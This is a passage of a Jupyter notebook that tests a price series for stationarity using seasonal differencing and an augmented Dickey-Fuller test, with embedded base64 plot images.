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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "df['Price Difference'].plot()" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "id": "51ffbecc", - "metadata": {}, - "outputs": [], - "source": [ - "df['Seasonal Difference']=df['Price']-df['Price'].shift(12)" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "id": "2b581164", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "ADF Test Statistic : -4.5008407189107045\n", - "p-value : 0.000195953225031622\n", - "#Lags Used : 17\n", - "Number of Observations Used : 337\n", - "Data is stationary\n" - ] - } - ], - "source": [ - "adfuller_test(df['Seasonal Difference'].dropna())" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "id": "33ac6d7b", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 16, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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